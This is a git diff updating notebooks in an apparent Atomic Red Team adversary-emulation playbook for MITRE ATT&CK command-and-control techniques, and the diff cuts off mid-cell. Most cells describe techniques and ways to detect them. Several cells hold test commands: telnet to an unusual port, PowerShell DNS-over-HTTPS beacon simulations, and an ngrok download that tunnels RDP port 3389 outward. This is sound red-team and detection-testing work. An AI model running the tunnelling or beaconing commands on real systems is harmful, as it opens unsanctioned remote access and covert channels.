-428,13 +473,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1483.ipynb b/playbook/tactics/command-and-control/T1483.ipynb deleted file mode 100644 index 3dd23e41..00000000 --- a/playbook/tactics/command-and-control/T1483.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "c683deed", - "metadata": {}, - "source": "# T1483 - Domain Generation Algorithms\nAdversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)" - }, - { - "cell_type": "markdown", - "id": "98fdd830", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "73716151", - "metadata": {}, - "source": "## Detection\nDetecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1568.001.ipynb b/playbook/tactics/command-and-control/T1568.001.ipynb index 68e8e0a0..1976d112 100644 --- a/playbook/tactics/command-and-control/T1568.001.ipynb +++ b/playbook/tactics/command-and-control/T1568.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "78bf888e", + "id": "34cbf34a", "metadata": {}, "source": "# T1568.001 - Fast Flux DNS\nAdversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel." }, { "cell_type": "markdown", - "id": "d4eb32d8", + "id": "3f54a156", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "06a6461f", + "id": "475477b6", "metadata": {}, "source": "## Detection\nIn general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1568.002.ipynb b/playbook/tactics/command-and-control/T1568.002.ipynb index a8be0321..3b01818b 100644 --- a/playbook/tactics/command-and-control/T1568.002.ipynb +++ b/playbook/tactics/command-and-control/T1568.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ddc14b9f", + "id": "5513f549", "metadata": {}, "source": "# T1568.002 - Domain Generation Algorithms\nAdversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)" }, { "cell_type": "markdown", - "id": "45c90dc3", + "id": "7faf2934", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "b912e761", + "id": "349a9092", "metadata": {}, "source": "## Detection\nDetecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1568.003.ipynb b/playbook/tactics/command-and-control/T1568.003.ipynb index 4f1bb3db..bf8c645e 100644 --- a/playbook/tactics/command-and-control/T1568.003.ipynb +++ b/playbook/tactics/command-and-control/T1568.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "02be6ec6", + "id": "4a46bf4f", "metadata": {}, "source": "# T1568.003 - DNS Calculation\nAdversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)\n\nOne implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)" }, { "cell_type": "markdown", - "id": "fdd9ba79", + "id": "79f83a50", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "e92bc163", + "id": "be51e2bf", "metadata": {}, "source": "## Detection\nDetection for this technique is difficult because it would require knowledge of the specific implementation of the port calculation algorithm. Detection may be possible by analyzing DNS records if the algorithm is known." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1568.ipynb b/playbook/tactics/command-and-control/T1568.ipynb index 63325f94..6e3b3964 100644 --- a/playbook/tactics/command-and-control/T1568.ipynb +++ b/playbook/tactics/command-and-control/T1568.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "5ff87536", + "id": "d8fa27ad", "metadata": {}, "source": "# T1568 - Dynamic Resolution\nAdversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)" }, { "cell_type": "markdown", - "id": "e4d61dd9", + "id": "6f2520bf", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "55631094", + "id": "8c28d4d6", "metadata": {}, "source": "## Detection\nDetecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains." }, { "cell_type": "markdown", - "id": "077fff90", + "id": "1ffff28b", "metadata": {}, "source": "\n## Shield Active Defense\n### Hunting \n Search for the presence of or information about an adversary, or your organization, its employees, infrastructure, etc. \n\n Within the defender's environments, hunting presupposes a failure of initial prevention or detection, and that an adversary has successfully penetrated a system. In this case defenders hunt for the presence of an adversary. Typically the hunt is informed by intelligence on adversary TTPs and infrastructure. Defenders also hunt adversaries outside the defended environment. Information about the adversary, including their skills, TTPs, and infrastructure can be used to improve defenses or promote better adversary engagement. Defenders also hunt for information about their organization that is available for free or for purchase. Actively researching organizational exposure or inclusion in password dumps, leaks, etc. helps defenders focus on specific detections and proactive countermeasures.\n#### Opportunity\nIf you can determine how an adversary is dynamically resolving command and control (C2) addresses, there is an opportunity to use that information to identify additional adversary infrastructure or tools.\n#### Use Case\nA defender can use information about how an identified dynamic resolution works to hunt for previously undetected adversary resolutions that work in the same manner.\n#### Procedures\nPivot on Command and Control information to identify other infrastructure used by the same adversary.\nUse information about an adversary's TTPs to perform retroactive searches for any activity that have gone undetected.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1571.ipynb b/playbook/tactics/command-and-control/T1571.ipynb index 0223d1d3..28ed2ea0 100644 --- a/playbook/tactics/command-and-control/T1571.ipynb +++ b/playbook/tactics/command-and-control/T1571.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "80a98552", + "id": "90c8188d", "metadata": {}, - "source": "# T1571 - Non-Standard Port\nAdversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data." + "source": "# T1571 - Non-Standard Port\nAdversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)" }, { "cell_type": "markdown", - "id": "d70fd180", + "id": "efc9bc73", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "3f7e743a", + "id": "513d2133", "metadata": {}, "source": [ "### Atomic Test #1 - Testing usage of uncommonly used port with PowerShell", @@ -27,40 +27,51 @@ { "cell_type": "code", "execution_count": null, - "id": "fc12a676", + "id": "dbf64513", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1571 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0a3a22ca", + "id": "cfbad04d", + "metadata": {}, + "source": "### Atomic Test #2 - Testing usage of uncommonly used port\nTesting uncommonly used port utilizing telnet.\n\n**Supported Platforms:** linux, macos\n#### Dependencies: Run with `sh`!\n##### Description: Requires telnet\n\n##### Check Prereq Commands:\n```sh\nwhich telnet\n\n```\n##### Get Prereq Commands:\n```sh\necho \"please install telnet to run this test\"; exit 1\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1f41b734", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1571 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "79206f18", "metadata": {}, "source": [ - "### Atomic Test #2 - Testing usage of uncommonly used port", - "Testing uncommonly used port utilizing telnet.\n", - "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", - "```sh\ntelnet google.com 8081\n```" + "```sh\necho quit | telnet google.com 8081\nexit 0\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "03c08858", + "id": "36fde99f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1571 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "51c0f76e", + "id": "54e8ca90", "metadata": {}, "source": "## Detection\nAnalyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "c3482bf9", + "id": "9b2508e0", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -68,13 +79,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1572.ipynb b/playbook/tactics/command-and-control/T1572.ipynb index 71f8a2c4..19276c07 100644 --- a/playbook/tactics/command-and-control/T1572.ipynb +++ b/playbook/tactics/command-and-control/T1572.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "2a429012", + "id": "8820e444", "metadata": {}, "source": "# T1572 - Protocol Tunneling\nAdversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. \n\nThere are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568). Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572) in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to further conceal C2 communications and infrastructure. " }, { "cell_type": "markdown", - "id": "7e90af30", + "id": "17774bf3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "948730a8", + "id": "b4039968", "metadata": {}, "source": [ "### Atomic Test #1 - DNS over HTTPS Large Query Volume", @@ -27,60 +27,105 @@ { "cell_type": "code", "execution_count": null, - "id": "4f953df0", + "id": "7f81d06a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1572 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "46ce38dc", + "id": "ecbad26e", "metadata": {}, "source": [ "### Atomic Test #2 - DNS over HTTPS Regular Beaconing", "This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.\nThis behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.\nA custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSet-Location PathToAtomicsFolder\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30\n```" + "```powershell\nSet-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7566baa8", + "id": "798b26a2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1572 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "7b9d41fc", + "id": "c7bce147", "metadata": {}, "source": [ "### Atomic Test #3 - DNS over HTTPS Long Domain Query", "This test simulates an infected host returning data to a command and control server using long domain names.\nThe simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.\n Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSet-Location PathToAtomicsFolder\n.\\T1572\\src\\T1572-doh-domain-length.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT\n```" + "```powershell\nSet-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-domain-length.ps1 -DohServer https://8.8.8.8/resolve -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "66caba4c", + "id": "7cd1db10", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1572 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "e91cb878", + "id": "e825eaab", + "metadata": {}, + "source": "### Atomic Test #4 - run ngrok\nDownload and run ngrok. Create tunnel to chosen port.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Download ngrok\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path C:\\Users\\Public\\ngrok) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path C:\\Users\\Public\\ngrok -ItemType Directory | Out-Null\nInvoke-WebRequest https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip -OutFile C:\\Users\\Public\\ngrok\\ngrok-v3-stable-windows-amd64.zip\nExpand-Archive C:\\Users\\Public\\ngrok\\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\\Users\\Public\\ngrok\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bf3697ed", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1572 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "f03131f0", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nC:\\Users\\Public\\ngrok\\ngrok.exe config add-authtoken N/A | Out-Null\nStart-Job -ScriptBlock { C:\\Users\\Public\\ngrok\\ngrok.exe tcp 3389 } | Out-Null\nStart-Sleep -s 5 \nStop-Job -Name Job1 | Out-Null\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "dec17d2f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1572 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "d56c8765", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-Item C:\\Users\\Public\\ngrok -Recurse -ErrorAction Ignore\nRemove-Item C:\\%userprofile%\\AppData\\Local\\ngrok -ErrorAction Ignore\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6d6cafa7", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1572 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "98fada69", "metadata": {}, "source": "## Detection\nMonitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "a56bac2f", + "id": "9c5010d5", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nA defender can monitor for systems establishing connections using encapsulated protocols not commonly used together such as RDP tunneled over TCP.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -88,13 +133,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1573.001.ipynb b/playbook/tactics/command-and-control/T1573.001.ipynb index 087ea076..bc68501c 100644 --- a/playbook/tactics/command-and-control/T1573.001.ipynb +++ b/playbook/tactics/command-and-control/T1573.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "43f4ede5", + "id": "30706cb6", "metadata": {}, "source": "# T1573.001 - Symmetric Cryptography\nAdversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4." }, { "cell_type": "markdown", - "id": "1aa6e768", + "id": "88139880", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "0cb298f3", + "id": "5ee2f756", "metadata": {}, "source": "## Detection\nWith symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1573.002.ipynb b/playbook/tactics/command-and-control/T1573.002.ipynb index a5528d2a..a2616046 100644 --- a/playbook/tactics/command-and-control/T1573.002.ipynb +++ b/playbook/tactics/command-and-control/T1573.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f73a2a5f", + "id": "b7a4aeb6", "metadata": {}, "source": "# T1573.002 - Asymmetric Cryptography\nAdversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002)." }, { "cell_type": "markdown", - "id": "254ae154", + "id": "ac9b8f5d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "c8710946", + "id": "1c8b7d6e", "metadata": {}, "source": "## Detection\nSSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1573.ipynb b/playbook/tactics/command-and-control/T1573.ipynb index 314dbe27..d0f5aecd 100644 --- a/playbook/tactics/command-and-control/T1573.ipynb +++ b/playbook/tactics/command-and-control/T1573.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "99abafa6", + "id": "208b6709", "metadata": {}, "source": "# T1573 - Encrypted Channel\nAdversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files." }, { "cell_type": "markdown", - "id": "66fc9e9c", + "id": "ca1fd890", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "de0b1902", + "id": "66f2d066", "metadata": {}, "source": [ "### Atomic Test #1 - OpenSSL C2", @@ -27,20 +27,20 @@ { "cell_type": "code", "execution_count": null, - "id": "0c883b76", + "id": "5a8a4f8a", "metadata": {}, "outputs": [], "source": 